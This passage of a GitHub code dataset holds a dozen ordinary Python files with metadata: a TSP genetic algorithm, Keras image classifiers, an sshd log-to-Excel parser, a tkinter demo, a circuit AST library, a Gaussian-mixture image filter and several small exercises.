StorageLocation.query.filter(StorageLocation.jobsite_id==int(site_id), StorageLocation.storagetype_id==(2)).all()\n locationIds = [location.id for location in storageLocation]\n materials = []\n for id in locationIds:\n locationMats = Material.query.filter(Material.storage_id==id).all()\n #setup for multiple connex's later\n materials = locationMats\n return {'materials' : [material.to_dict() for material in materials]}","repo_name":"Downster/windVentory","sub_path":"app/api/job_sites.py","file_name":"job_sites.py","file_ext":"py","file_size_in_byte":6869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"34141236176","text":"from search import *\nfrom math import floor\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Needed to hide warnings in the matplotlib sections\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\n# use cities from the Romania map as cities for TSP problem\nall_cities_name = np.array(['Arad','Bucharest','Craiova','Drobeta','Eforie','Fagaras','Giurgiu','Hirsova','Iasi',\n 'Lugoj','Mehadia','Neamt','Oradea','Pitesti','Rimnicu','Sibiu','Timisoara','Urziceni','Vaslui','Zerind'])\n\nall_cities_location = np.array([91, 492, 400, 327, 253, 288, 165, 299, 562, 293,\n 305, 449,375, 270,534, 350,473, 506,165, 379,\n 168, 339,406, 537,131, 571,320, 368,233, 410,\n 207, 457,94, 410,456, 350,509, 444,108, 531]).reshape(20,2)\n\n\n# genetic algorithm \nclass Gena_TSP(object):\n def __init__(self,data,maxgen=200,size_pop=200,cross_prob=0.9,pmuta_prob=0.01,select_prob=0.8):\n # the max number of iterations\n self.maxgen = maxgen \n # the initial population\n self.size_pop = size_pop \n # the probability of cross\n self.cross_prob = cross_prob \n # the probability of mutation\n self.pmuta_prob = pmuta_prob \n # the probability of select\n self.select_prob = select_prob \n \n # cities\n self.data = data \n # the number of cities\n self.num =len(data) \n \n # the distance between two cities\n self.matrix_distance = self.matrix_dis() \n \n # the number of next generation selected\n self.select_num = max(floor(self.size_pop*self.select_prob+0.5),2) \n \n # the initialization of populations of generation and next generation\n self.chrom = np.array([0]*self.size_pop*self.num).reshape(self.size_pop,self.num)\n self.sub_sel = np.array([0]*self.select_num*self.num).reshape(self.select_num,self.num)\n \n # every city's distance\n self.fitness = np.zeros(self.size_pop)\n \n # save for every step\n self.best_fit = []\n self.best_path= []\n \n # calculate the distance between cities\n def matrix_dis(self):\n res = np.zeros((self.num,self.num))\n for i in range(self.num):\n for j in range(i+1,self.num):\n res[i,j] = np.linalg.norm(self.data[i,:]-self.data[j,:])\n res[j,i] = res[i,j]\n return res\n\n # generate a random population\n def rand_chrom(self):\n rand_ch = np.array(range(self.num))\n for i in range(self.size_pop):\n np.random.shuffle(rand_ch)\n self.chrom[i,:]= rand_ch\n self.fitness[i] = self.comp_fit(rand_ch)\n\n # calculate the distance from one city\n def comp_fit(self, one_path):\n res = 0\n for i in range(self.num-1):\n res += self.matrix_distance[one_path[i],one_path[i+1]]\n res += self.matrix_distance[one_path[-1],one_path[0]]\n return res\n\n # print the path\n def out_path(self, one_path):\n res = str(all_cities_name[one_path[0]])+' --> '\n for i in range(1, self.num):\n res += str(all_cities_name[one_path[i]])+' --> '\n res += str(all_cities_name[one_path[0]])+'\\n'\n print(res)\n\n # select the next genaration\n def select_sub(self):\n fit = 1./(self.fitness) \n cumsum_fit = np.cumsum(fit)\n pick = cumsum_fit[-1]/self.select_num*(np.random.rand()+np.array(range(self.select_num)))\n i,j = 0,0\n index = []\n while i= pick[j]:\n index.append(i)\n j += 1\n else:\n i += 1\n self.sub_sel = self.chrom[index,:]\n\n # cross\n def cross_sub(self):\n if self.select_num%2 == 0:\n num = range(0,self.select_num,2)\n else:\n num = range(0,self.select_num-1,2)\n for i in num:\n if self.cross_prob>=np.random.rand():\n self.sub_sel[i,:],self.sub_sel[i+1,:] = self.intercross(self.sub_sel[i,:],self.sub_sel[i+1,:])\n \n def intercross(self,ind_a,ind_b):\n r1 = np.random.randint(self.num)\n r2 = np.random.randint(self.num)\n while r2 == r1:\n r2 = np.random.randint(self.num)\n left,right = min(r1,r2),max(r1,r2)\n ind_a1 = ind_a.copy()\n ind_b1 = ind_b.copy()\n for i in range(left,right+1):\n ind_a2 = ind_a.copy()\n ind_b2 = ind_b.copy()\n ind_a[i] = ind_b1[i] \n ind_b[i] = ind_a1[i]\n x = np.argwhere(ind_a==ind_a[i])\n y = np.argwhere(ind_b==ind_b[i])\n if len(x) == 2:\n ind_a[x[x!=i]] = ind_a2[i]\n if len(y) == 2:\n ind_b[y[y!=i]] = ind_b2[i]\n return ind_a,ind_b\n\n # pick a gene in x to mutate and a gene from the gene pool to replace it with\n def mutation_sub(self):\n for i in range(self.select_num):\n if np.random.rand() <= self.cross_prob:\n r1 = np.random.randint(self.num)\n r2 = np.random.randint(self.num)\n while r2 == r1:\n r2 = np.random.randint(self.num)\n self.sub_sel[i,[r1,r2]] = self.sub_sel[i,[r2,r1]]\n # reverse\n def reverse_sub(self):\n for i in range(self.select_num):\n r1 = np.random.randint(self.num)\n r2 = np.random.randint(self.num)\n while r2 == r1:\n r2 = np.random.randint(self.num)\n left,right = min(r1,r2),max(r1,r2)\n sel = self.sub_sel[i,:].copy()\n \n sel[left:right+1] = self.sub_sel[i,left:right+1][::-1]\n if self.comp_fit(sel) < self.comp_fit(self.sub_sel[i,:]):\n self.sub_sel[i,:] = sel\n\n # insert the new generation to the origin one\n def reins(self):\n index = np.argsort(self.fitness)[::-1]\n self.chrom[index[:self.select_num],:] = self.sub_sel\n\n# main process\ndef main(data):\n # data is the city information\n Path_short = Gena_TSP(data) \n Path_short.rand_chrom() \n\n # iterations\n for i in range(Path_short.maxgen):\n Path_short.select_sub() \n Path_short.cross_sub() \n Path_short.mutation_sub() \n Path_short.reverse_sub() \n Path_short.reins() \n\n # calculate the new path\n for j in range(Path_short.size_pop):\n Path_short.fitness[j] = Path_short.comp_fit(Path_short.chrom[j,:])\n \n # print the best path every 50 iterations\n index = Path_short.fitness.argmin()\n if (i+1)%50 == 0:\n print('The shorest path after '+str(i+1)+' iterations:'+str( Path_short.fitness[index]))\n print('The best path after '+str(i+1)+' iterations:')\n # print the best path every step\n Path_short.out_path(Path_short.chrom[index,:])\n \n # save best path every step\n Path_short.best_fit.append(Path_short.fitness[index])\n Path_short.best_path.append(Path_short.chrom[index,:])\n return Path_short \n\n# create individuals with random genes and return th epopulation when done\ndef init_population(pop_number, gene_pool, state_length):\n \"\"\"Initializes population for genetic algorithm\n pop_number : Number of individuals in population\n gene_pool : List of possible values for individuals\n state_length: The length of each individual\"\"\"\n g = len(gene_pool)\n population = []\n for i in range(pop_number):\n new_individual = [gene_pool[random.randrange(0, g)] for j in range(state_length)]\n population.append(new_individual)\n\n return population\n\n\nmain(all_cities_location)\n\n","repo_name":"JasmineZZZ9/CS534-AI","sub_path":"Assignment 2/Ex4.3/genetic_algorithm.py","file_name":"genetic_algorithm.py","file_ext":"py","file_size_in_byte":7782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13987075454","text":"#!/usr/bin/env python3\n\n'''''3.使用回调函数(不建议这样使用)''' \n# -*- coding: utf-8 -*- \nfrom tkinter import * \n \nroot = Tk() \n \n \ndef scrollCall(moveto, pos): \n # 如何得到两个参数:使用如下打印中的信息,可以看到解释器传给scrollCall函数的两个参数,一个为 \n # moveto,参考手册可以得知,它是当拖动slider时调用的函数;另一个参数为slider的当前位置,我们 \n # 可以通过set函数来设置slider的位置,因此使用这个pos就可以完成控制slider的位置。 \n # print moveto,pos \n sl.set(pos, 0) \n print(sl.get()) \n \n \nsl = Scrollbar(root, orient=HORIZONTAL, command=scrollCall) \nsl.pack() \nroot.mainloop() \n# 这样还有一个严重问题,只能对其进行拖动。对两个按钮及pagedwon/pageup的响应,由于up按钮响应的为三个参数,故会出 \n# 现异常。这个例子只是用来说明command属性是可用的,如果喜欢自己可以处理所有的消息,将scrollCall是否可以改为变参数函数? \n# 对于不同的输入分别进行不同的处理。\n","repo_name":"JiangEndian/grace_20190205","sub_path":"apps/BibleTimeEn/scrollbartest.py","file_name":"scrollbartest.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"17956681617","text":"import sys\nimport datetime\nimport pandas as pd\nimport re\nfrom sqlalchemy import Column, ForeignKey, Integer, String, MetaData, Table, DateTime\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy import create_engine\nlogs_entries = []\nerr=[]\n\ntry: file = open(sys.argv[1], 'r')\nexcept: file = open('logfile.log', 'r')\n\nfor lines in file:\n line = re.compile(r'^((Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\\s+\\d{1,2}\\s+\\d{2}:\\d{2}:\\d{2})\\s+(\\S+)\\s+(sshd)\\S+:\\s+(.*?(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}).*)$').search(lines)\n e=re.findall(r'Failed.+',lines)\n if line:\n if e: err.append({\"ip_address\": line.group(6), \"error\": e}) \n datetime_str = line.group(1) + \" \" +str(datetime.datetime.now().year)\n datetime_obj = datetime.datetime.strptime(datetime_str,'%b %d %H:%M:%S %Y')\n logs_entries.append({\"hostname\": line.group(3),\"ip_address\": line.group(6), \"date_time\": datetime_obj,\"message\": line.group(5)})\nfile.close()\ndf = pd.DataFrame(logs_entries)\n# df[\"hostname\"].mask(df[\"hostname\"].duplicated(),inplace=True)\n# df[\"ip_address\"].mask(df[\"ip_address\"].duplicated(),inplace=True)\ndf.sort_values(by=['ip_address'], inplace=True)\ndf.to_excel(\"access_logs.xlsx\")\ndf = pd.DataFrame(err)\ndf.sort_values(by=['ip_address'], inplace=True)\ndf.to_excel(\"error_logs.xlsx\")\n\n\n# Base = declarative_base()\n# meta = MetaData()\n# engine = create_engine('sqlite:///collection.db', echo = True)\n# access_logs =[]\n\n# access_logs = Table(\n# meta,\n# Column('id', Integer, primary_key = True),\n# Column('hostname', String),\n# Column('ip_address', String),\n# Column('date_time', DateTime),\n# Column('message', String),)\n# meta.create_all(engine)\n\n# conn = engine.connect()\n# ins = access_logs.insert().values(hostname = line.group(3), ip_address = line.group(6), date_time = datetime_obj, message = line.group(5))\n# result = conn.execute(ins)\n# result = conn.execute(access_logs.insert(None),logs_entries)\n# conn.close()\n","repo_name":"Lokankara/DevOps","sub_path":"log_parser.py","file_name":"log_parser.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"38792975169","text":"import os, cv2\nimport pandas as pd\nimport numpy as np\nimport tensorflow as tf\nfrom keras.utils import np_utils\nfrom tensorflow.keras.applications import InceptionV3, ResNet50, Xception\nfrom keras.layers import Dense, Flatten, BatchNormalization, LeakyReLU\nfrom tensorflow.keras.utils import image_dataset_from_directory\nfrom keras.models import Model\nfrom tensorflow.keras.optimizers import SGD\nfrom keras.callbacks import ModelCheckpoint, ReduceLROnPlateau\n\nclass TB():\n def __init__(self):\n self.shape = (224, 224, 3)\n self.classes = 219\n self.batch_size = 16\n\n def load_data(self, dir):\n train = image_dataset_from_directory(\n dir,\n validation_split=0.2,\n subset=\"training\",\n seed=123,\n image_size=(self.shape[0], self.shape[1]),\n interpolation=\"bicubic\",\n batch_size=self.batch_size)\n\n valid = image_dataset_from_directory(\n dir,\n validation_split=0.2,\n subset=\"validation\",\n seed=123,\n image_size=(self.shape[0], self.shape[1]),\n interpolation=\"bicubic\",\n batch_size=self.batch_size)\n\n return train, valid\n\n def inceptionv3(self):\n inc = InceptionV3(include_top=False, weights=\"imagenet\",\n input_shape=(self.shape[0], self.shape[1], self.shape[2]))\n for i in inc.layers:\n i.trainable = False\n x = LeakyReLU(alpha=0.2)(inc.output)\n x = BatchNormalization()(x)\n x = Flatten()(x)\n x = Dense(self.classes, activation=\"softmax\")(x)\n model = Model(inputs=inc.input, outputs=x)\n opt = SGD(learning_rate=0.001, momentum=0.9, decay=0.0005)\n model.compile(optimizer=opt, loss=\"categorical_crossentropy\", metrics=[\"accuracy\"])\n \n\n return model\n\n def resnet50(self):\n res = ResNet50(include_top=False, weights=\"imagenet\",\n input_shape=(1, self.shape[0], self.shape[1], self.shape[2]))\n for i in res.layers:\n i.trainable = False\n x = LeakyReLU(alpha=0.2)(res.output)\n x = BatchNormalization()(x)\n x = Flatten()(x)\n x = Dense(self.classes, activation=\"softmax\")(x)\n model = Model(inputs=res.input, outputs=x)\n opt = SGD(learning_rate=0.001, momentum=0.9, decay=0.0005)\n model.compile(optimizer=opt, loss=\"categorical_crossentropy\", metrics=[\"accuracy\"])\n\n return model\n\n def xception(self):\n xcep = Xception(include_top=False, weights=\"imagenet\",\n input_shape=(self.shape[0], self.shape[1], self.shape[2]))\n for i in xcep.layers:\n i.trainable = False\n x = LeakyReLU(alpha=0.2)(xcep.output)\n x = BatchNormalization()(x)\n x = Flatten()(x)\n x = Dense(self.classes, activation=\"softmax\")(x)\n model = Model(inputs=xcep.input, outputs=x)\n model.compile(optimizer=\"adam\", loss=\"categorical_crossentropy\", metrics=[\"accuracy\"])\n\n return model\n\n def train(self, epochs):\n train, valid = self.load_data(dir=\"all_aug\")\n # model = self.inceptionv3()\n model = self.resnet50()\n # model = self.xception()\n # model.fit(x=train, y=train_label, validation_split=0.3, epochs=epochs, batch_size=batch_size)\n # checkpointer = ModelCheckpoint(filepath=\"model_osme_inceptionv3.best_loss.hdf5\", verbose=1, save_best_only=True)\n checkpointer = ModelCheckpoint(filepath=\"model_osme_resnet50.best_loss.hdf5\", verbose=1, save_best_only=True)\n # checkpointer = ModelCheckpoint(filepath=\"model_osme_xception.best_loss.hdf5\", verbose=1, save_best_only=True)\n reduce_lr = ReduceLROnPlateau(monitor=\"val_loss\", factor=0.1,\n patience=5, min_lr=0.0000001)\n model.fit(train, epochs=epochs, validation_data=valid, callbacks=[reduce_lr, checkpointer])\n score = model.evaluate(train)\n print(\"\\nTrain Loss:\", score[0])\n print(\"\\nTrain Acc:\", score[1])\n # model.save(\"inceptionv3.h5\")\n # model.save(\"resnet50.h5\")\n # model.save(\"xception.h5\")\n\nif __name__ == \"__main__\":\n tb = TB()\n tb.train(epochs=100)","repo_name":"mengchenluo/TBrain_orchis","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"14381276121","text":"from typing import List\r\n\r\n\r\nclass Solution:\r\n def subarraySum(self, nums: List[int], k: int) -> int:\r\n n = len(nums)\r\n ans = 0\r\n\r\n curr_sum = 0\r\n\r\n dictt = {\r\n 0: 1\r\n }\r\n\r\n for i in nums:\r\n curr_sum += i\r\n\r\n diff = curr_sum - k\r\n\r\n ans += dictt.get(diff, 0)\r\n\r\n dictt[curr_sum] = 1 + dictt.get(curr_sum, 0)\r\n\r\n return ans\r\n","repo_name":"jithindmathew/LeetCode","sub_path":"subarray-sum-equals-k.py","file_name":"subarray-sum-equals-k.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"761335434","text":"from turtle import Screen, Turtle\r\nfrom state_title import StatesTitle\r\nfrom time import sleep\r\n\r\n# Creating the interface:\r\nimage_bg = \"blank_states_img.gif\"\r\nscreen = Screen()\r\nscreen.title(\"U.S. States Game by @aldolammel\")\r\nscreen.setup(width=800, height=600)\r\nscreen.addshape(image_bg)\r\nbg = Turtle()\r\nbg.shape(image_bg)\r\n\r\n# MY COLORS\r\ncorT = '\\033[1;32m'\r\ncorF = '\\033[1;31m'\r\ncorOut = '\\033[m'\r\n\r\n\r\ndef question(score, limit):\r\n last_score = limit - 1\r\n print(\"Type 'exit' to give up and check the states you've missed.\\n\")\r\n\r\n txt_ask = \"What's another state name?\"\r\n if score == 0:\r\n txt_ask = \"What's a state name?\"\r\n if score == last_score:\r\n txt_ask = \"Now the last state!\"\r\n\r\n answer = screen.textinput(title=f\"{score}/{limit} states discovered\", prompt=txt_ask).strip().title()\r\n\r\n return answer\r\n\r\n\r\ndef check_answer(answer, score, states, player_hits):\r\n if answer in player_hits:\r\n print(f\"You had already discovered {answer} state.\", end=\" \")\r\n return score\r\n\r\n for key, value in states[\"state\"].items():\r\n if value == answer:\r\n player_hits.append(answer)\r\n\r\n coord_x = states[\"x\"][key]\r\n coord_y = states[\"y\"][key]\r\n position = [coord_x, coord_y]\r\n StatesTitle(answer, position)\r\n\r\n del states[\"state\"][key]\r\n del states[\"x\"][key]\r\n del states[\"y\"][key]\r\n\r\n if len(states[\"state\"]) > 0:\r\n print(f\"{corT}{answer}{corOut} is right! You got other {len(states['state'])} states to figure out!\",\r\n end=\" \")\r\n\r\n new_score = score + 1\r\n return new_score\r\n\r\n if answer != \"Exit\":\r\n print(f\"There is no US state called {corF}{answer}{corOut}.\", end=\" \")\r\n\r\n return score\r\n\r\n\r\ndef check_end(answer, states):\r\n if answer == \"Exit\":\r\n print(f\"{corF}You missed {len(states['state'])} states:{corOut} {states['state']}\", end=\" \")\r\n return False\r\n\r\n if len(states[\"state\"]) == 0:\r\n sleep(0.5)\r\n print(f\"Your last was {corT}{answer}{corOut}!\\n{corT}You win! Congrats!{corOut}{corOut}\")\r\n sleep(3)\r\n return False\r\n\r\n return True\r\n","repo_name":"aldolammel/python","sub_path":"US_States_Game/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"17664561065","text":"from typing import List, Dict\n\nimport util\n\n\ndef match_all(x):\n return True\n\n\nclass ASTNode:\n def get_children(self):\n return []\n\n def get_descendants(self, matcher=match_all):\n combined = []\n for child in self.get_children():\n if matcher(child):\n combined.append(child)\n combined += list(child.get_descendants(matcher=matcher))\n return combined\n\n def get_all_ports(self) -> List['ASTPort']:\n return self.get_descendants(matcher=lambda x: isinstance(x, ASTPort))\n\n\nclass ASTExpr(ASTNode):\n def get_bitsize(self):\n raise NotImplementedError\n\n\nclass ASTPort(ASTExpr):\n def __init__(self, name, bitsize):\n self.name = str(name)\n self.bitsize = bitsize\n\n def __getitem__(self, item):\n if type(item) == tuple:\n return ASTSubPort(self.name, item[0], item[1])\n\n assert type(item) == int\n return ASTSubPort(self.name, item, item)\n\n def get_render_name(self):\n return self.name\n\n def get_bitsize(self):\n return self.bitsize\n\n\nclass ASTSubPort(ASTPort):\n def __init__(self, name, start, end):\n super().__init__(name, end - start + 1)\n self.start = start\n self.end = end\n\n def __getitem__(self, item):\n if type(item) == tuple:\n return ASTSubPort(self.name, self.start + item[0], self.start + item[1])\n\n assert type(item) == int\n return ASTSubPort(self.name, self.start + item, self.start + item)\n\n def get_render_name(self):\n if self.start == self.end:\n return '{}({})'.format(self.name, self.start)\n\n return '{}({}-{})'.format(self.name, self.end, self.start)\n\n\nclass ASTAssign(ASTNode):\n def __init__(self, dst, src, rising_edge=None, enabled=None, write_enable=None):\n if write_enable and not rising_edge:\n rising_edge = ASTPort('clk', 1)\n if rising_edge and not write_enable:\n write_enable = ASTPort('__const1_on', 1)\n\n self.dst = dst\n self.src = src\n self.rising_edge = rising_edge # save dst, only update on rising edge\n self.write_enable = write_enable\n self.enabled = enabled # tri-state whenever this is false\n\n def get_children(self):\n children = [self.dst, self.src]\n\n if self.rising_edge:\n children.append(self.rising_edge)\n if self.enabled:\n children.append(self.enabled)\n\n return children\n\n\nclass ASTBlock(ASTNode):\n def __init__(self, children=None):\n self.children = children or []\n\n def get_children(self) -> List[ASTNode]:\n return list(self.children)\n\n\nclass ASTLogicGate(ASTExpr):\n def __init__(self, type, children=None):\n self.type = type\n self.children = children or []\n\n def get_children(self):\n return self.children\n\n def get_bitsize(self):\n bitsize = None\n\n for child in self.get_children():\n child_size = child.get_bitsize()\n if bitsize is not None and bitsize != child_size:\n raise ValueError('mismatched bitsize on logic gate')\n bitsize = child_size\n\n return bitsize\n\n\nclass ASTMultiplexer(ASTExpr):\n def __init__(self, selector: ASTExpr, children: Dict[int, ASTExpr] = None):\n self.selector = selector\n self.children = children or {}\n\n def get_children(self):\n return [self.selector] + list(self.children.values())\n\n def get_bitsize(self):\n bitsize = None\n\n for child in self.children.values():\n child_size = child.get_bitsize()\n if bitsize is not None and bitsize != child_size:\n raise ValueError('mismatched bitsize on logic gate')\n bitsize = child_size\n\n return bitsize\n\n\nclass ASTDecoder(ASTNode):\n def __init__(self, input: ASTExpr = None, outputs=None):\n self.input = input\n self.outputs = outputs\n\n def get_children(self):\n return [self.input] + list(self.outputs.values())\n\n\nclass ASTSubCircuit(ASTNode):\n def __init__(self, type, inputs=None, outputs=None, native=False, data=None):\n self.type = type\n self.native = native\n self.data = data\n self.inputs = inputs or {}\n self.outputs = outputs or {}\n\n def get_children(self):\n return list(self.inputs.values()) + list(self.outputs.values())\n\n\nclass ASTCircuit(ASTBlock):\n def __init__(self, inputs: List[ASTPort], outputs: List[ASTPort], children=None):\n super().__init__(children=children)\n self.input_signals = inputs\n self.output_signals = outputs\n self.internal_signals = {\n '__const1_on': 1,\n '__const1_off': 1,\n '__const1_x': 1,\n # '__const32_on': 32,\n # '__const32_off': 32,\n } # name -> bitsize\n\n def get_port(self, name):\n name = str(name)\n for port in self.input_signals + self.output_signals:\n if port.name == name:\n return port\n\n for port_name, size in self.internal_signals.items():\n if port_name == name:\n return ASTPort(name, size)\n\n def get_or_create(self, name, size):\n name = str(name)\n p = self.get_port(name)\n if p:\n if p.bitsize != size:\n raise ValueError\n return p\n\n self.internal_signals[name] = size\n return self.get_port(name)\n\n def generate_internal_signal(self, bitsize):\n import random\n\n while True:\n name = ''\n for _ in range(4):\n name += chr(ord('a') + random.randint(0, 25))\n\n if name not in self.internal_signals:\n self.internal_signals[name] = bitsize\n return name\n\n def validate(self):\n port_map = dict(self.internal_signals)\n\n for signal in self.input_signals + self.output_signals:\n if signal.name in port_map:\n raise ValueError('name collision: ' + signal.name)\n port_map[signal.name] = signal.bitsize\n\n for ref in self.get_all_ports():\n if ref.name not in port_map:\n raise ValueError('cannot find port: ' + ref.name)\n\n if isinstance(ref, ASTSubPort):\n if ref.end >= port_map[ref.name]:\n raise ValueError('invalid, sub port {}: end == {} but signal bitsize == {}'\n .format(ref.name, ref.bitsize, port_map[ref.name]))\n elif ref.bitsize != port_map[ref.name]:\n raise ValueError('invalid, port {}: bitsize == {} but signal bitsize == {}'\n .format(ref.name, ref.bitsize, port_map[ref.name]))\n\n\n\n\n\n\n\n\n","repo_name":"Pear0/hdl-circuitsim","sub_path":"ir.py","file_name":"ir.py","file_ext":"py","file_size_in_byte":6750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"31489487884","text":"from __future__ import unicode_literals\n\nimport poioapi.data\nimport poioapi.annotationtree\nimport poioapi.annotationgraph\n\nclass CorpusTrees():\n\n def __init__(self, data_structure_type):\n self.items = []\n self.data_structure_type = data_structure_type\n\n def add_item(self, filepath, filetype):\n if filetype == poioapi.data.TREEPICKLE:\n annotation_tree = poioapi.annotationtree.AnnotationTree(\n poioapi.data.data_structure_handler_for_type(\n self.data_structure_type\n )\n )\n annotation_tree.load_tree_from_pickle(filepath)\n if annotation_tree.structure_type_handler != self.data_structure_type:\n raise(\n poioapi.data.DataStructureTypeNotCompatible(\n \"Data structure type {0} not compatible with corpus\"\n \"data type {1}\".format(\n annotation_tree.structure_type_handler,\n self.data_structure_type)))\n\n annotation_tree.init_filters()\n self.items.append( (filepath, annotation_tree) )\n else:\n raise poioapi.data.UnknownFileFormatError()\n\n\nclass CorpusGraphs(list):\n\n def add_item(self, filepath, filetype):\n annotation_graph = poioapi.annotationgraph.AnnotationGraph(None)\n if filetype == poioapi.data.EAF:\n annotation_graph.from_elan(filepath)\n if filetype == poioapi.data.EAFFROMTOOLBOX:\n annotation_graph.from_elan(filepath)\n elif filetype == poioapi.data.TYPECRAFT:\n annotation_graph.from_typecraft(filepath)\n else:\n raise poioapi.data.UnknownFileFormatError()\n\n annotation_graph.structure_type_handler = \\\n poioapi.data.DataStructureType(\n annotation_graph.tier_hierarchies[0]\n )\n\n self.append( (filepath, annotation_graph) )\n\n @property\n def tier_names(self):\n result = set()\n for _, ag in self:\n for tier_name in ag.structure_type_handler.flat_data_hierarchy:\n result.add(tier_name)\n return result\n","repo_name":"cidles/poio-api","sub_path":"src/poioapi/corpus.py","file_name":"corpus.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"36"} +{"seq_id":"6824191933","text":"def bfs(row,col,ocean,queue) :\n\tvisited = [[False] * col for _ in range(row)]\n\tbest_h = 0\n\twhile queue != [] :\n\t\tx,y,h = queue.pop(0)\n\t\tvisited[x][y] = True\n\t\tpath = [(x+1,y), (x-1,y), (x,y+1), (x,y-1)]\n\t\tfor x1,y1 in path :\n\t\t\tif 0<= x1 < row and 0 <= y1 < col and visited[x1][y1] is False and ocean[x1][y1] == 'L':\n\t\t\t\tvisited[x1][y1] = True\n\t\t\t\tqueue.append((x1,y1,h+1))\n\t\tbest_h = max(best_h,h)\n\treturn best_h\n\n\nif __name__ == \"__main__\":\n\trow,col = map(int,input().split())\n\tocean = [list(input().strip()) for _ in range(row)]\n\tcur_height = 0\n\tfor x in range(row) :\n\t\tfor y in range(col) :\n\t\t\tif ocean[x][y] == \"L\" :\n\t\t\t\tqueue = [(x,y,0)]\n\t\t\t\tcur_height = max(cur_height,bfs(row,col,ocean,queue))\n\tprint(cur_height)\n\n# from collections import deque\n# from sys import stdin\n# input = stdin.readline\n\n# n, m = map(int, input().split())\n# a = [list(input().strip()) for _ in range(n)]\n# check = [[False]*m for _ in range(n)]\n# dx = (-1, 0, 1, 0)\n# dy = (0, 1, 0, -1)\n\n# def bfs(i, j):\n# \tq = deque()\n# \tq.append((i, j, 0))\n# \tcheck[i][j] = True\n# \tdist = 0\n# \twhile q:\n# \t\tx, y, d = q.popleft()\n# \t\tfor k in range(4):\n# \t\t\tnx, ny = x+dx[k], y+dy[k]\n# \t\t\tif nx < 0 or nx >= n or ny < 0 or ny >= m:\n# \t\t\t\tcontinue\n# \t\t\tif check[nx][ny] is False and a[nx][ny] == 'L':\n# \t\t\t\tq.append((nx, ny, d+1))\n# \t\t\t\tcheck[nx][ny] = True\n# \t\t\t\tdist = max(dist, d+1)\n# \treturn dist\n\n# ans = 0\n# for i in range(n):\n# \tfor j in range(m):\n# \t\tif a[i][j] == 'L':\n# \t\t\tcheck = [[False]*m for _ in range(n)]\n# \t\t\tans = max(ans, bfs(i, j))\n# print(ans) \n\n\n","repo_name":"yeonwook1993/algorithm_study","sub_path":"bfs_dfs/2589.py","file_name":"2589.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13448072142","text":"from PIL import Image\nfrom sklearn.mixture import GaussianMixture\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\n\n\ndef read_file(file_name: str) -> np.ndarray:\n img = Image.open(file_name, 'r')\n pix_val = list(img.getdata())\n return np.asarray(pix_val, dtype=np.float32)\n\n\ndef gmm(X: np.ndarray) -> GaussianMixture:\n gmm = GaussianMixture(n_components=5)\n gmm.fit(X)\n return gmm\n\n\ndef threshold_filtering(gmm: GaussianMixture, X: np.ndarray, img: Image):\n threshold = np.mean(gmm.means_)\n new_image = []\n for x in range(img.size[1]):\n new_image_row = []\n for i in range(img.size[0]):\n new_image_rgb = []\n for j in range(0, X.shape[1], 1):\n if X[x * (img.size[0]) + i][j] > threshold:\n new_image_rgb.append(X[x * (img.size[0]) + i][j])\n else:\n new_image_rgb.append(255)\n new_image_row.append(new_image_rgb)\n new_image.append(new_image_row)\n new_image = np.asarray(new_image, dtype=np.uint8)\n new_image = Image.fromarray(new_image, 'RGB')\n new_image.save('my.jpg')\n new_image.show()\n\n\ndef plotting(gmm, X):\n labels = gmm.predict(X)\n fig = plt.figure(1, figsize=(10, 10))\n ax = Axes3D(fig, rect=[0, 0, 0.95, 1], elev=48, azim=134)\n ax.scatter(X[:, 2], X[:, 1], X[:, 0],\n c=labels, edgecolor=\"k\", s=50)\n ax.set_xlabel(\"Petal width\")\n ax.set_ylabel(\"Sepal length\")\n ax.set_zlabel(\"Petal length\")\n plt.title(\"Gaussian Mixture Model\", fontsize=14)\n plt.show()\n\n\nimg = Image.open('photo.jpg', 'r')\nX = read_file('photo.jpg')\ngmm = gmm(X)\nthreshold_filtering(gmm, X, img)\n","repo_name":"maze1377/DataMining","sub_path":"Gaussian Mixture Model/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"32949517667","text":"# Ejercicio 4\n\nlistaNumeros = [10, 14, 11, 10, 12, 8, 7, 8, 10, 12, 14, 15]\n\n\ndef recortaLista(lista, tamanno):\n if tamanno >= 0:\n lista.sort(reverse=True)\n subLista = []\n\n i = 0\n while i < tamanno and i < len(lista) - 1:\n if lista[i] not in subLista:\n subLista.append(lista[i])\n i += 1\n else:\n tamanno += 1\n i += 1\n\n subLista.sort()\n return subLista\n else:\n print(\"El tamaño debe ser mayor que 0\")\n exit()\n\n\ntamanno = input(\"Indica el tamaño que deseas que tenga la lista: \")\ntry:\n tamanno = int(tamanno)\nexcept ValueError:\n print(\"El tamaño debe ser un número entero\")\n exit()\nprint(recortaLista(listaNumeros, 